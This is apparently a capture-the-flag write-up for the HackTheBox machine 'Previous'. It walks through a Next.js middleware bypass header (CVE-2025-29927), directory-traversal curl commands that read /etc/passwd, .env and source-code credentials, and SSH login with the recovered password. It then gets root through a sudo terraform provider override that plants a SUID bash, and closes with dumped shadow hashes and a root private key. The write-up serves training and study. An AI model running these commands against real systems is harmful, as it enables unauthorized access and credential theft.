Post

HackTheBox Writeup - Previous

HackTheBox Writeup - Previous

Recon


Hosts

pt command is a custom pentest framework to manage hosts and variables, it is not required to reproduce the steps in this writeup

1
2
3
4
5
6
7
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ pt init '10.10.11.83 previous.htb'
+----------+--------+-------------+--------------+
| PROFILE  | STATUS |     IP      |    DOMAIN    |
+----------+--------+-------------+--------------+
| previous | on     | 10.10.11.83 | previous.htb |
+----------+--------+-------------+--------------+

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# Nmap 7.95 scan initiated Tue Sep 16 17:18:39 2025 as: /usr/lib/nmap/nmap -sVC --version-all -T4 -Pn -vv -oA ./nmap/full_tcp_scan -p 22,80, 10.10.11.83
Nmap scan report for 10.10.11.83
Host is up, received user-set (0.060s latency).
Scanned at 2025-09-16 17:18:39 CST for 11s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://previous.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Sep 16 17:18:50 2025 -- 1 IP address (1 host up) scanned in 10.63 seconds

80 - HTTP : PreviousJS

Info

1
http://previous.htb [200] [PreviousJS] [nginx/1.18.0 (Ubuntu)] [ff1aed8ff2cc73cf50fdcc6b79a5bb27f737361e] [Next.js,Nginx:1.18.0,Node.js,React,Ubuntu,Webpack]

Directory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ URL="http://$(pt get rhost):80"; OUT="$(echo $URL | awk -F':' '{print $NF}' | sed -e 's|[/:]|-|g')"; feroxbuster -k -A -w <(cat /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt|anew) -u "$URL" -o "ferox_${OUT}.txt"

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://previous.htb:80
 🚀  Threads               │ 50
 📖  Wordlist              │ /proc/self/fd/11
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ Random
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 💾  Output File           │ ferox_80.txt
 🏁  HTTP methods          │ [GET]
 🔓  Insecure              │ true
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        1l       66w     2181c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
308      GET        1l        1w       20c http://previous.htb/_next/static/chunks/ => http://previous.htb/_next/static/chunks
308      GET        1l        1w       12c http://previous.htb/application/ => http://previous.htb/application
308      GET        1l        1w       17c http://previous.htb/_next/static/css/ => http://previous.htb/_next/static/css
308      GET        1l        1w       13c http://previous.htb/_next/static/ => http://previous.htb/_next/static
308      GET        1l        1w       35c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/ => http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc
308      GET        1l        1w       26c http://previous.htb/_next/static/chunks/pages/ => http://previous.htb/_next/static/chunks/pages
308      GET        1l        1w        6c http://previous.htb/_next/ => http://previous.htb/_next
200      GET        1l        1w     1305c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/_buildManifest.js
200      GET        1l      283w     5101c http://previous.htb/_next/static/chunks/pages/index-a09f42904785092c.js
200      GET        1l        2w       77c http://previous.htb/_next/static/-ipsiOtEey-zESpHzrwmc/_ssgManifest.js
200      GET        1l       60w     3028c http://previous.htb/_next/static/chunks/webpack-cb370083d4f9953f.js
200      GET        1l      725w    33690c http://previous.htb/_next/static/chunks/pages/_app-95f33af851b6322a.js
200      GET        1l      250w    23885c http://previous.htb/_next/static/css/9a1ff1f4870b5a50.css
307      GET        1l        1w       36c http://previous.htb/docs => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
200      GET        1l     2412w   119495c http://previous.htb/_next/static/chunks/main-0221d9991a31a63c.js
200      GET        1l     2734w   139924c http://previous.htb/_next/static/chunks/framework-ee17a4c43a44d3e2.js
200      GET        1l     2125w   112594c http://previous.htb/_next/static/chunks/polyfills-42372ed130431b0a.js
200      GET        1l      407w     5493c http://previous.htb/
307      GET        1l        1w       35c http://previous.htb/api => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi
200      GET        1l      217w     8862c http://previous.htb/_next/static/chunks/0-c54fcec2d27b858d.js
200      GET        1l      136w     3480c http://previous.htb/_next/static/chunks/pages/signin-d0284ed11872b445.js
200      GET        1l      179w     3481c http://previous.htb/signin
307      GET        1l        1w       36c http://previous.htb/apis => http://previous.htb/api/auth/signin?callbackUrl=%2Fapis
307      GET        1l        1w       39c http://previous.htb/api-doc => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi-doc
307      GET        1l        1w       40c http://previous.htb/api_test => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_test
307      GET        1l        1w       36c http://previous.htb/api3 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi3
307      GET        1l        1w       36c http://previous.htb/api2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi2
307      GET        1l        1w       37c http://previous.htb/docs2 => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs2
307      GET        1l        1w       36c http://previous.htb/api4 => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi4
307      GET        1l        1w       41c http://previous.htb/docsearch => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocsearch
307      GET        1l        1w       40c http://previous.htb/docstore => http://previous.htb/api/auth/signin?callbackUrl=%2Fdocstore
307      GET        1l        1w       40c http://previous.htb/apichain => http://previous.htb/api/auth/signin?callbackUrl=%2Fapichain
307      GET        1l        1w       41c http://previous.htb/api_error => http://previous.htb/api/auth/signin?callbackUrl=%2Fapi_error
307      GET        1l        1w       41c http://previous.htb/apisphere => http://previous.htb/api/auth/signin?callbackUrl=%2Fapisphere
307      GET        1l        1w       36c http://previous.htb/apit => http://previous.htb/api/auth/signin?callbackUrl=%2Fapit
[####################] - 6m    126376/126376  0s      found:35      errors:4
[####################] - 6m     63168/63168   170/s   http://previous.htb:80/
[####################] - 6m     63168/63168   170/s   http://previous.htb/ 

User Flag


Shell as jeremy

80 - PreviousJS : Enumeration

There’re unique cookie names : next-*, google search returned a React development framework : NextJS

(Failed) Since node js web apps mostly uses NOSQL database (e.g. mongo db), we’ve tried using Content-Type: application/json in request headers for the login endpoint to test if auth bypass NOSQL injection is possible

80 - Next.js 15.2.2 : Middleware Authorization Bypass (CVE-2025-29927)

  • Wappalyzer : Next.js 15.2.2

  • Google : Next.js 15.2.2 exploit

Research - https://jfrog.com/blog/cve-2025-29927-next-js-authorization-bypass/

CVE-2025-29927

For Next.JS servers using middleware (including a middleware.js or middleware.ts file), custom x-middleware-subrequest headers can bypass middleware execution entirely

We will use the payload x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware in the headers to request for http://localhost:3000/docs

By injecting the header into HTTP requests via Settings -> Tools -> Proxy ->HTTP match and replace rules from burp suite, we can bypass the login page to access http://previous.htb/docs

80 - API : Directory Traversal

There’s an interesting URI in the examples page : http://previous.htb/api/download?example=hello-world.ts

By modifying the value of example parameter, we can exploit directory traversal to read /etc/passwd

1
2
3
4
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ curl -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../etc/passwd' -s | grep sh$
root:x:0:0:root:/root:/bin/sh
node:x:1000:1000::/home/node:/bin/sh

We’ve tried to get default ssh private key’s name in RSA format before fuzzing corresponding names to every formats

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../../home/node/.ssh/id_rsa'
{"error":"File not found"} 

We’re in a docker container

1
2
3
4
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../../proc/1/mountinfo'
360 334 0:43 / / rw,relatime - overlay overlay rw,lowerdir=/var/lib/docker/overlay2/l/HB5NTPBYKAKDI52CNLBGZ2JIVZ:/var/lib/docker/overlay2/l/YTVKLX7ITSQGSOLNLJVDLU4VGB:/var/lib/docker/overlay2/l/CAY72DGRQRY3WBG5426KFGLIPN:/var/lib/docker/overlay2/l/R4B2MRV4VGJQYHNCHXYIOFVWJS:/var/lib/docker/overlay2/l/WJ7WWQETL77UBVQT52SXSRKNKR:/var/lib/docker/overlay2/l/6CLS3TL5TM6UHPO5H7YQ3WLYEF:/var/lib/docker/overlay2/l/K5LVLWHQD6W6LEARYFAY52S624:/var/lib/docker/overlay2/l/IV33RUYA3YLWNSOILKP3BI52SH:/var/lib/docker/overlay2/l/2IOCKJA4EUTWMCM2HT4BSG5MND:/var/lib/docker/overlay2/l/TGKXPXUDDBJPZBOIA6PBIC2VXK:/var/lib/docker/overlay2/l/IM6EMB7AZO26OT6X5MU3WGYOJP,upperdir=/var/lib/docker/overlay2/19f4119022476f150118427220994390ae83285c0cd16a74ceac93f45016ce74/diff,workdir=/var/lib/docker/overlay2/19f4119022476f150118427220994390ae83285c0cd16a74ceac93f45016ce74/work
[...]

By traversing all the way up to locate package.json, we’ve found the web root at ../../

  • The app is using next-auth
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../package.json'
{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
    "@mdx-js/react": "^3.1.0",
    "@next/mdx": "^15.3.0",
    "@tailwindcss/postcss": "^4.1.3",
    "@tailwindcss/typography": "^0.5.16",
    "@types/mdx": "^2.0.13",
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "postcss": "^8.5.3",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "tailwindcss": "^4.1.3"
  },
  "devDependencies": {
    "@types/node": "22.14.0",
    "@types/react": "19.1.0",
    "typescript": "5.8.3"
  }
}

There’s an environment variable NEXTAUTH_SECRET stored in .env

1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download?example=../../.env'
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

Build a lab for next-auth

We can build an example next.js web app with next-auth to take a glance of its structure

1
2
3
4
5
6
cd /tmp
git clone https://github.com/vercel/next.js
cd next.js/examples/auth
npx create-next-app --example auth auth-app
cd auth-app
npm run dev

  • .next folder is an instance generated by runtime
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
┌──(bravosec㉿fsociety)-[/tmp/next.js/examples/auth/auth-app]
└─$ ls -latr
total 64
-rw-r--r--  1 bravosec kali  1056 Sep 30 08:16 README.md
-rw-r--r--  1 bravosec kali   396 Sep 30 08:16 package.json
-rw-r--r--  1 bravosec kali   189 Sep 30 08:16 middleware.ts
-rw-r--r--  1 bravosec kali   437 Sep 30 08:16 .gitignore
-rw-r--r--  1 bravosec kali    88 Sep 30 08:16 .env.example
-rw-r--r--  1 bravosec kali   197 Sep 30 08:16 auth.ts
drwxr-xr-x  4 bravosec kali   220 Sep 30 14:28 ..
drwxr-xr-x  3 bravosec kali   140 Sep 30 14:28 app
-rw-r--r--  1 bravosec kali 32252 Sep 30 14:29 package-lock.json
drwxr-xr-x 33 bravosec kali   680 Sep 30 14:29 node_modules
drwxr-xr-x  5 bravosec kali   280 Sep 30 14:29 .
-rw-r--r--  1 bravosec kali   663 Sep 30 14:29 tsconfig.json
-rw-r--r--  1 bravosec kali   262 Sep 30 14:29 next-env.d.ts
drwxr-xr-x  6 bravosec kali   260 Sep 30 14:29 .next

┌──(bravosec㉿fsociety)-[/tmp/next.js/examples/auth/auth-app]
└─$ ls -latr .next
total 336
drwxr-xr-x 5 bravosec kali    280 Sep 30 14:29 ..
-rw-r--r-- 1 bravosec kali     20 Sep 30 14:29 package.json
-rw-r--r-- 1 bravosec kali    272 Sep 30 14:29 routes-manifest.json
-rw-r--r-- 1 bravosec kali    354 Sep 30 14:29 prerender-manifest.json
drwxr-xr-x 6 bravosec kali    260 Sep 30 14:29 .
drwxr-xr-x 4 bravosec kali    120 Sep 30 14:32 cache
drwxr-xr-x 3 bravosec kali    140 Sep 30 14:32 types
drwxr-xr-x 5 bravosec kali    360 Sep 30 14:32 server
drwxr-xr-x 6 bravosec kali    120 Sep 30 14:32 static
-rw-r--r-- 1 bravosec kali      2 Sep 30 14:33 react-loadable-manifest.json
-rw-r--r-- 1 bravosec kali    388 Sep 30 14:33 build-manifest.json
-rw-r--r-- 1 bravosec kali    481 Sep 30 14:33 app-build-manifest.json
-rw-r--r-- 1 bravosec kali 315942 Sep 30 14:33 trace
  • .next/server stores compiled codes and configs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[/tmp/next.js/examples/auth/auth-app]
└─$ ls -latr .next/server/
total 2780
drwxr-xr-x 6 bravosec kali     260 Sep 30 14:29 ..
-rw-r--r-- 1 bravosec kali 2734808 Sep 30 14:32 middleware.js
drwxr-xr-x 3 bravosec kali      60 Sep 30 14:32 static
-rw-r--r-- 1 bravosec kali   44654 Sep 30 14:32 edge-runtime-webpack.js
-rw-r--r-- 1 bravosec kali     867 Sep 30 14:32 middleware-manifest.json
-rw-r--r-- 1 bravosec kali      47 Sep 30 14:32 interception-route-rewrite-manifest.js
drwxr-xr-x 5 bravosec kali     360 Sep 30 14:32 .
drwxr-xr-x 2 bravosec kali     220 Sep 30 14:32 vendor-chunks
-rw-r--r-- 1 bravosec kali   20634 Sep 30 14:33 webpack-runtime.js
-rw-r--r-- 1 bravosec kali    1763 Sep 30 14:33 server-reference-manifest.json
-rw-r--r-- 1 bravosec kali    1885 Sep 30 14:33 server-reference-manifest.js
-rw-r--r-- 1 bravosec kali       2 Sep 30 14:33 pages-manifest.json
-rw-r--r-- 1 bravosec kali     154 Sep 30 14:33 app-paths-manifest.json
drwxr-xr-x 4 bravosec kali     120 Sep 30 14:33 app
-rw-r--r-- 1 bravosec kali      77 Sep 30 14:33 next-font-manifest.json
-rw-r--r-- 1 bravosec kali     113 Sep 30 14:33 next-font-manifest.js
-rw-r--r-- 1 bravosec kali      35 Sep 30 14:33 middleware-react-loadable-manifest.js
-rw-r--r-- 1 bravosec kali     513 Sep 30 14:33 middleware-build-manifest.js
  • .next/server/pages-manifest.json maps the routes and controller source code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[/tmp/next.js/examples/auth/auth-app]
└─$ find . -type f -iname '*.json' | grep -v 'node_modules'
./.next/prerender-manifest.json
./.next/routes-manifest.json
./.next/types/package.json
./.next/app-build-manifest.json
./.next/build-manifest.json
./.next/react-loadable-manifest.json
./.next/static/webpack/87853a4e327c1f8d.webpack.hot-update.json
./.next/static/webpack/633457081244afec._.hot-update.json
./.next/server/static/webpack/633457081244afec._.hot-update.json
./.next/server/middleware-manifest.json
./.next/server/server-reference-manifest.json
./.next/server/app-paths-manifest.json
./.next/server/pages-manifest.json
./.next/server/next-font-manifest.json
./.next/package.json
./.next/cache/next-devtools-config.json
./package-lock.json
./tsconfig.json
./package.json

80 - API : Obtain next-auth credentials

Checked the routes mapping, found pages/api/auth/[...nextauth].js interesting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download' -G --data-urlencode 'example=../../.next/server/pages-manifest.json'
{
  "/_app": "pages/_app.js",
  "/_error": "pages/_error.js",
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/docs/[section]": "pages/docs/[section].html",
  "/docs/components/layout": "pages/docs/components/layout.html",
  "/docs/components/sidebar": "pages/docs/components/sidebar.html",
  "/docs/content/examples": "pages/docs/content/examples.html",
  "/docs/content/getting-started": "pages/docs/content/getting-started.html",
  "/docs": "pages/docs.html",
  "/": "pages/index.html",
  "/signin": "pages/signin.html",
  "/_document": "pages/_document.js",
  "/404": "pages/404.html"
} 

Got its compiled source code, and found credential jeremy:MyNameIsJeremyAndILovePancakes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ curl -s -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' 'http://previous.htb/api/download' -G --data-urlencode 'example=../../.next/server/pages/api/auth/[...nextauth].js' | js-beautify
[...]
            let u = require("next-auth/providers/credentials"),
                o = {
                    session: {
                        strategy: "jwt"
                    },
                    providers: [r.n(u)()({
                        name: "Credentials",
                        credentials: {
                            username: {
                                label: "User",
                                type: "username"
                            },
                            password: {
                                label: "Password",
                                type: "password"
                            }
                        },
                        authorize: async e => e?.username === "jeremy" && e.password === (process.env.ADMIN_SECRET ?? "MyNameIsJeremyAndILovePancakes") ? {
                            id: "1",
                            name: "Jeremy"
                        } : null
                    })],
                    pages: {
                        signIn: "/signin"
                    },
                    secret: process.env.NEXTAUTH_SECRET
                },
[...]

22 - SSH : Credential Stuffing

1
2
3
4
5
6
7
8
9
┌──(bravosec㉿fsociety)-[~/htb/Previous]
└─$ sshpass -p 'MyNameIsJeremyAndILovePancakes' ssh -o "StrictHostKeyChecking no" jeremy@10.10.11.83
[...]
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)

jeremy@previous:~$ id
uid=1000(jeremy) gid=1000(jeremy) groups=1000(jeremy)
jeremy@previous:~$ cat user.txt
1de251c514208933938f7b4786589421

Root Flag


Shell as root

SUDO - Terraform : Arbitrary provider script execution

jeremy may run /usr/bin/terraform as root

Terraform

Terraform is an infrastructure as code (IaC) tool that helps automate core infrastructure tasks

1
2
3
4
5
6
jeremy@previous:~$ sudo -l
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

Breakdown:

  • !env_reset : Does not reset environment variables
  • -chdir\=/opt/examples : Switch to /opt/example directory before executing commands
  • apply : Creates or updates infrastructure according to Terraform configuration files in the current directory.

  • Google : sudo terraform exploit

POC - https://dollarboysushil.com/posts/Terraform-Sudo-Exploit-Privilege-Escalation/

Check provider’s name

1
2
jeremy@previous:~$ cat /opt/examples/*.tf | grep 'source = '
      source = "previous.htb/terraform/examples"

Create a malicious terraform provider script

1
2
3
4
5
6
7
mkdir -p /tmp/test
cat > /tmp/test/x << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
EOF

chmod +x /tmp/test/x

Create a terraform configuration override that runs every executables from /tmp/test/, and set TF_CLI_CONFIG_FILE to our malicious config file

1
2
3
4
5
6
7
8
9
10
cat > /tmp/test/test.rc << 'EOF'
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp/test"
  }
  direct {}
}
EOF

export TF_CLI_CONFIG_FILE=/tmp/test/test.rc

Apply the config

1
sudo /usr/bin/terraform -chdir=/opt/examples apply

We can now run bash with preserved SUID as root

1
2
3
4
5
6
7
8
jeremy@previous:~$ /tmp/b -p
b-5.1# id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)
b-5.1# $(which python2 python python3 2>/dev/null | head -n1) -c 'import os;os.setuid(0);os.system("/bin/bash -p")'
root@previous:~# id
uid=0(root) gid=1000(jeremy) groups=1000(jeremy)
root@previous:~# cat /root/root.txt
9015fc500d77f40ca3e5b1fac3850de1

Additional


Post exploitation

Secrets

1
2
3
root@previous:~# awk -F: '$2 ~ /^\$/' /etc/shadow
root:$y$j9T$8eJygIdCzBjq.MydZo1XO0$2l7w4GXSdYpIEuvzgPad7Tm2YK6/7L.mTU.CiLfaPf8:20321:0:99999:7:::
jeremy:$y$j9T$.12cctgaWMDR8r3JYiB5q0$xAiP7hRx8A8br/fd2HPW8Ctu8XumwSCAsH4v9XUxdb4:20321:0:99999:7:::
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
[+] /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Files

1

Client side activities

Keylogging & Clipboard history

1

Browser

1

Files & directories access history

1

Application history

1
This post is licensed under CC BY 4.0 by the author.